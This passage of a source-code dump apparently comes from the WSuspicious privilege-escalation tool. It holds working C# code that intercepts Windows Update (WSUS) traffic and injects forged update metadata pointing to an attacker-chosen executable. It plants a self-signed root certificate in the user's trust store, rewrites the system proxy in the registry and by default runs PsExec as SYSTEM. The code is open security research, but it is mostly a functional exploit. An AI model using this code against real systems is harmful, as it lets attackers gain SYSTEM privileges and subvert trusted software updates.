268 | await writeToConsole("---- First stage on the way ----");
269 |
270 | await writeDebugToConsole("");
271 | await writeDebugToConsole("========================================================");
272 | await writeDebugToConsole(" RESPONSE ");
273 | await writeDebugToConsole("========================================================");
274 | await writeDebugToConsole(returnedBody);
275 | }
276 | }
277 |
278 | flagStep = 0;
279 | }
280 | else if (flagStep == 2)
281 | {
282 | List soapActionHeaders = e.HttpClient.Request.Headers.GetHeaders("SOAPAction");
283 |
284 | if (soapActionHeaders.Count > 0 && soapActionHeaders[0].Value.Contains("GetExtendedUpdateInfo"))
285 | {
286 | string payloadURL;
287 | if (String.IsNullOrEmpty(fakeWSUSHost))
288 | {
289 | payloadURL = String.Format("http://{0}:8530/Content/B2/FB0A150601470195C47B4E8D87FCB3F50292BEB2.exe", wsusHost);
290 | }
291 | else
292 | {
293 | payloadURL = String.Format("http://{0}/Content/B2/FB0A150601470195C47B4E8D87FCB3F50292BEB2.exe", fakeWSUSHost);
294 | }
295 |
296 | string secondPhaseTemplate = ResourceHandler.ExtendedUpdateInfoTemplate;
297 | secondPhaseTemplate = String.Format(secondPhaseTemplate,
298 | updateID2,
299 | payload.Length,
300 | payload.Length,
301 | WebUtility.HtmlEncode(payloadSHA1),
302 | WebUtility.HtmlEncode(payloadExecutableName),
303 | payload.Length,
304 | WebUtility.HtmlEncode(payloadSHA256),
305 | executedCommand,
306 | WebUtility.HtmlEncode(payloadExecutableName),
307 | updateID1,
308 | updateID1,
309 | updateID2,
310 | payloadSHA1,
311 | payloadURL
312 | );
313 |
314 | // TODO: I do not know if that works
315 | if (e.HttpClient.Response.StatusCode == 500)
316 | {
317 | e.HttpClient.Response.StatusCode = 200;
318 | e.HttpClient.Response.StatusDescription = "OK";
319 | }
320 |
321 | e.SetResponseBodyString(secondPhaseTemplate);
322 |
323 | await writeToConsole("---- Second stage on the way ----");
324 | }
325 |
326 | flagStep = 0;
327 | }
328 | }
329 | }
330 | }
331 |
332 | private async Task writeDebugToConsole(string message, ConsoleColor? consoleColor = null)
333 | {
334 | if (this.isDebug)
335 | {
336 | await writeToConsole(message, consoleColor);
337 | }
338 | }
339 |
340 | private async Task writeToConsole(string message, ConsoleColor? consoleColor = null)
341 | {
342 | await @lock.WaitAsync();
343 |
344 | if (consoleColor.HasValue)
345 | {
346 | ConsoleColor existing = Console.ForegroundColor;
347 | Console.ForegroundColor = consoleColor.Value;
348 | Console.WriteLine(message);
349 | Console.ForegroundColor = existing;
350 | }
351 | else
352 | {
353 | Console.WriteLine(message);
354 | }
355 |
356 | @lock.Release();
357 | }
358 | }
359 | }
360 |
--------------------------------------------------------------------------------
/WSuspicious/Servers/Proxy/tls/CertificateMaker.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Security.Cryptography.X509Certificates;
4 | using Org.BouncyCastle.Asn1;
5 | using Org.BouncyCastle.Asn1.Pkcs;
6 | using Org.BouncyCastle.Asn1.X509;
7 | using Org.BouncyCastle.Crypto;
8 | using Org.BouncyCastle.Crypto.Generators;
9 | using Org.BouncyCastle.Crypto.Operators;
10 | using Org.BouncyCastle.Crypto.Parameters;
11 | using Org.BouncyCastle.Crypto.Prng;
12 | using Org.BouncyCastle.Math;
13 | using Org.BouncyCastle.OpenSsl;
14 | using Org.BouncyCastle.Pkcs;
15 | using Org.BouncyCastle.Security;
16 | using Org.BouncyCastle.Utilities;
17 | using Org.BouncyCastle.X509;
18 | using X509Certificate = Org.BouncyCastle.X509.X509Certificate;
19 |
20 | namespace WSuspicious.Servers.Proxy.tls
21 | {
22 | ///
23 | /// Class used to generate the self-signed certificate sent to WSUS.
24 | /// Most of this code comes from the TitaniumProxy BCCertificateMaker class.
25 | ///
26 | class CertificateMaker
27 | {
28 | private const int certificateGraceDays = 366;
29 | private const int certificateValidDays = 366;
30 |
31 | public static X509Certificate2 MakeCertificate(string sSubjectCn)
32 | {
33 | return generateCertificate(null, $"CN={sSubjectCn}", $"CN={sSubjectCn}",
34 | DateTime.UtcNow.AddDays(-certificateGraceDays),
35 | DateTime.UtcNow.AddDays(certificateValidDays));
36 | }
37 |
38 | public static void AddToTrustStore(X509Certificate2 cert)
39 | {
40 | X509Store store = new X509Store(StoreName.Root, StoreLocation.CurrentUser);
41 | store.Open(OpenFlags.ReadWrite);
42 | store.Add(cert);
43 | store.Close();
44 | }
45 |
46 | public static void RemoveFromTrustStore(X509Certificate2 cert)
47 | {
48 | X509Store store = new X509Store(StoreName.Root, StoreLocation.CurrentUser);
49 | store.Open(OpenFlags.ReadWrite);
50 | store.Remove(cert);
51 | store.Close();
52 | }
53 |
54 | private static X509Certificate2 generateCertificate(string hostName,
55 | string subjectName,
56 | string issuerName, DateTime validFrom,
57 | DateTime validTo, int keyStrength = 2048,
58 | string signatureAlgorithm = "SHA256WithRSA",
59 | AsymmetricKeyParameter issuerPrivateKey = null)
60 | {
61 | // Generating Random Numbers
62 | var randomGenerator = new CryptoApiRandomGenerator();
63 | var secureRandom = new SecureRandom(randomGenerator);
64 |
65 | // The Certificate Generator
66 | var certificateGenerator = new X509V3CertificateGenerator();
67 |
68 | // Serial Number
69 | var serialNumber =
70 | BigIntegers.CreateRandomInRange(BigInteger.One, BigInteger.ValueOf(long.MaxValue), secureRandom);
71 | certificateGenerator.SetSerialNumber(serialNumber);
72 |
73 | // Issuer and Subject Name
74 | var subjectDn = new X509Name(subjectName);
75 | var issuerDn = new X509Name(issuerName);
76 | certificateGenerator.SetIssuerDN(issuerDn);
77 | certificateGenerator.SetSubjectDN(subjectDn);
78 |
79 | certificateGenerator.SetNotBefore(validFrom);
80 | certificateGenerator.SetNotAfter(validTo);
81 |
82 | if (hostName != null)
83 | {
84 | // add subject alternative names
85 | var subjectAlternativeNames = new Asn1Encodable[] { new GeneralName(GeneralName.DnsName, hostName) };
86 |
87 | var subjectAlternativeNamesExtension = new DerSequence(subjectAlternativeNames);
88 | certificateGenerator.AddExtension(X509Extensions.SubjectAlternativeName.Id, false,
89 | subjectAlternativeNamesExtension);
90 | }
91 |
92 | // Subject Public Key
93 | var keyGenerationParameters = new KeyGenerationParameters(secureRandom, keyStrength);
94 | var keyPairGenerator = new RsaKeyPairGenerator();
95 | keyPairGenerator.Init(keyGenerationParameters);
96 | var subjectKeyPair = keyPairGenerator.GenerateKeyPair();
97 |
98 | certificateGenerator.SetPublicKey(subjectKeyPair.Public);
99 |
100 | // Set certificate intended purposes to only Server Authentication
101 | certificateGenerator.AddExtension(X509Extensions.ExtendedKeyUsage.Id, false,
102 | new ExtendedKeyUsage(KeyPurposeID.IdKPServerAuth));
103 | if (issuerPrivateKey == null)
104 | {
105 | certificateGenerator.AddExtension(X509Extensions.BasicConstraints.Id, true, new BasicConstraints(true));
106 | }
107 |
108 | var signatureFactory = new Asn1SignatureFactory(signatureAlgorithm,
109 | issuerPrivateKey ?? subjectKeyPair.Private, secureRandom);
110 |
111 | // Self-sign the certificate
112 | var certificate = certificateGenerator.Generate(signatureFactory);
113 |
114 | // Corresponding private key
115 | var privateKeyInfo = PrivateKeyInfoFactory.CreatePrivateKeyInfo(subjectKeyPair.Private);
116 |
117 | var seq = (Asn1Sequence)Asn1Object.FromByteArray(privateKeyInfo.ParsePrivateKey().GetDerEncoded());
118 |
119 | if (seq.Count != 9)
120 | {
121 | throw new PemException("Malformed sequence in RSA private key");
122 | }
123 |
124 | var rsa = RsaPrivateKeyStructure.GetInstance(seq);
125 | var rsaparams = new RsaPrivateCrtKeyParameters(rsa.Modulus, rsa.PublicExponent, rsa.PrivateExponent,
126 | rsa.Prime1, rsa.Prime2, rsa.Exponent1,
127 | rsa.Exponent2, rsa.Coefficient);
128 |
129 | // Set private key onto certificate instance
130 | var x509Certificate = withPrivateKey(certificate, rsaparams);
131 |
132 | //x509Certificate.FriendlyName = ProxyConstants.CNRemoverRegex.Replace(subjectName, string.Empty);
133 |
134 | return x509Certificate;
135 | }
136 |
137 | private static X509Certificate2 withPrivateKey(X509Certificate certificate, AsymmetricKeyParameter privateKey)
138 | {
139 | const string password = "password";
140 | Pkcs12Store store;
141 |
142 | store = new Pkcs12Store();
143 |
144 | var entry = new X509CertificateEntry(certificate);
145 | store.SetCertificateEntry(certificate.SubjectDN.ToString(), entry);
146 |
147 | store.SetKeyEntry(certificate.SubjectDN.ToString(), new AsymmetricKeyEntry(privateKey), new[] { entry });
148 | using (var ms = new MemoryStream())
149 | {
150 | store.Save(ms, password.ToCharArray(), new SecureRandom(new CryptoApiRandomGenerator()));
151 |
152 | return new X509Certificate2(ms.ToArray(), password, X509KeyStorageFlags.Exportable);
153 | }
154 | }
155 | }
156 | }
157 |
--------------------------------------------------------------------------------
/WSuspicious/Utility/ArgumentsParser.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.IO;
4 |
5 | namespace WSuspicious.Utility
6 | {
7 | class ArgumentsParser
8 | {
9 | public static Dictionary parse(string[] args)
10 | {
11 | Dictionary arguments = new Dictionary();
12 |
13 | foreach (string argument in args)
14 | {
15 | var idx = argument.IndexOf(':');
16 | if (idx > 0)
17 | arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
18 | else
19 | arguments[argument] = string.Empty;
20 | }
21 |
22 | if (arguments.ContainsKey("/exe"))
23 | {
24 | if (String.IsNullOrEmpty(arguments["/exe"]))
25 | {
26 | throw new ArgumentException("The provided executable is invalid.");
27 | }
28 |
29 | if (!File.Exists(arguments["/exe"]))
30 | {
31 | throw new ArgumentException("The provided executable was not found.");
32 | }
33 | }
34 | else
35 | {
36 | arguments["/exe"] = @".\PsExec64.exe";
37 | }
38 |
39 | if (arguments.ContainsKey("/command"))
40 | {
41 | if (String.IsNullOrEmpty(arguments["/command"]))
42 | {
43 | throw new ArgumentException("The provided command is invalid.");
44 | }
45 | }
46 | else
47 | {
48 | arguments["/command"] = "-accepteula -s -d cmd /c \"echo 1 > C:\\wsuspicious.was.here\"";
49 | }
50 |
51 | if (arguments.ContainsKey("/proxyport"))
52 | {
53 | int port;
54 | if (!int.TryParse(arguments["/proxyport"], out port))
55 | {
56 | throw new ArgumentException("The provided proxy port is invalid.");
57 | }
58 | }
59 | else
60 | {
61 | arguments["/proxyport"] = "13337";
62 | }
63 |
64 | if (arguments.ContainsKey("/downloadport"))
65 | {
66 | int port;
67 | if (!int.TryParse(arguments["/downloadport"], out port))
68 | {
69 | throw new ArgumentException("The provided download port is invalid.");
70 | }
71 | }
72 |
73 | return arguments;
74 | }
75 | }
76 | }
77 |
--------------------------------------------------------------------------------
/WSuspicious/Utility/InternetExplorerProxyManager.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 | using System.Text.RegularExpressions;
4 | using Microsoft.Win32;
5 |
6 | namespace WSuspicious.Utility
7 | {
8 | class InternetExplorerProxyManager
9 | {
10 | [DllImport("wininet.dll")]
11 | public static extern bool InternetSetOption(IntPtr hInternet, int dwOption, IntPtr lpBuffer, int dwBufferLength);
12 | public const int INTERNET_OPTION_SETTINGS_CHANGED = 39;
13 | public const int INTERNET_OPTION_REFRESH = 37;
14 |
15 | private int proxyEnabled = 0;
16 | private string originalProxyUrl = "";
17 |
18 | private const string keyName = "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings";
19 |
20 | public void setProxy(string proxyhost, int port, bool setHTTPS)
21 | {
22 | this.proxyEnabled = Convert.ToInt32(Registry.GetValue(keyName, "ProxyEnable", 0));
23 | this.originalProxyUrl = (string)Registry.GetValue(keyName, "ProxyServer", "");
24 |
25 | string currentValue = this.originalProxyUrl;
26 |
27 | if (Regex.IsMatch(currentValue, "^[^:|=]{1,}:[0-9]{1,}$"))
28 | {
29 | // This is a global proxy, we have to split it
30 | if (setHTTPS)
31 | {
32 | currentValue = String.Format("http={0}:{1};https={0}:{1};ftp={2};socks={3}", proxyhost, port, currentValue, currentValue);
33 | }
34 | else
35 | {
36 | currentValue = String.Format("http={0}:{1};https={2};ftp={3};socks={4}", proxyhost, port, currentValue, currentValue, currentValue);
37 | }
38 | }
39 | else if (String.IsNullOrWhiteSpace(currentValue))
40 | {
41 | if (setHTTPS)
42 | {
43 | currentValue = String.Format("http={0}:{1};https={0}:{1}", proxyhost, port);
44 | }
45 | else
46 | {
47 | currentValue = String.Format("http={0}:{1}", proxyhost, port);
48 | }
49 | }
50 | else
51 | {
52 | currentValue = Regex.Replace(currentValue, "http=[^:]{1,}:[0-9]{1,}", String.Format("http={0}:{1}", proxyhost, port));
53 |
54 | if (setHTTPS)
55 | {
56 | currentValue = Regex.Replace(currentValue, "https=[^:]{1,}:[0-9]{1,}", String.Format("https={0}:{1}", proxyhost, port));
57 | }
58 | }
59 |
60 | Registry.SetValue(keyName, "ProxyServer", currentValue);
61 | Registry.SetValue(keyName, "ProxyEnable", 1);
62 |
63 | // These lines implement the Interface in the beginning of program
64 | // They cause the OS to refresh the settings, causing IP to realy update
65 | InternetSetOption(IntPtr.Zero, INTERNET_OPTION_SETTINGS_CHANGED, IntPtr.Zero, 0);
66 | InternetSetOption(IntPtr.Zero, INTERNET_OPTION_REFRESH, IntPtr.Zero, 0);
67 | }
68 |
69 | public void revert()
70 | {
71 | Registry.SetValue(keyName, "ProxyServer", this.originalProxyUrl);
72 | Registry.SetValue(keyName, "ProxyEnable", this.proxyEnabled);
73 |
74 | // These lines implement the Interface in the beginning of program
75 | // They cause the OS to refresh the settings, causing IP to realy update
76 | InternetSetOption(IntPtr.Zero, INTERNET_OPTION_SETTINGS_CHANGED, IntPtr.Zero, 0);
77 | InternetSetOption(IntPtr.Zero, INTERNET_OPTION_REFRESH, IntPtr.Zero, 0);
78 | }
79 | }
80 | }
81 |
--------------------------------------------------------------------------------
/WSuspicious/Utility/WindowsUpdateLauncher.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Diagnostics;
3 | using System.IO;
4 | using System.Linq;
5 |
6 | namespace WSuspicious.Utility
7 | {
8 | public static class WindowsUpdateLauncher
9 | {
10 | private static readonly string userPath = Environment.GetEnvironmentVariable("PATH");
11 |
12 | private static readonly string win10Executable = "usoclient.exe";
13 | private static readonly string pathWin10 = userPath.Split(';')
14 | .Where(s => File.Exists(Path.Combine(s, win10Executable)))
15 | .FirstOrDefault();
16 |
17 | public static void StartUpdates()
18 | {
19 | if (pathWin10 != null && !String.IsNullOrWhiteSpace(pathWin10))
20 | {
21 | Process process = new Process();
22 | process.StartInfo.FileName = Path.Combine(pathWin10, win10Executable);
23 | process.StartInfo.Arguments = "StartInteractiveScan";
24 | process.Start();
25 | process.WaitForExit();
26 | }
27 | else
28 | {
29 | //TODO: Make this work for older windows versions with wuauclt.exe
30 | }
31 | }
32 | }
33 | }
34 |
--------------------------------------------------------------------------------
/WSuspicious/WSuspicious.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Exe
5 | net45
6 | WSuspicious
7 | WSuspicious
8 | WSuspicious.Program
9 |
10 |
11 |
12 | False
13 | None
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
--------------------------------------------------------------------------------
/docs/privesc.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/GoSecure/WSuspicious/af4e8b0fa55031418d4c0ea0af3d7ba1d0af6ee5/docs/privesc.gif
--------------------------------------------------------------------------------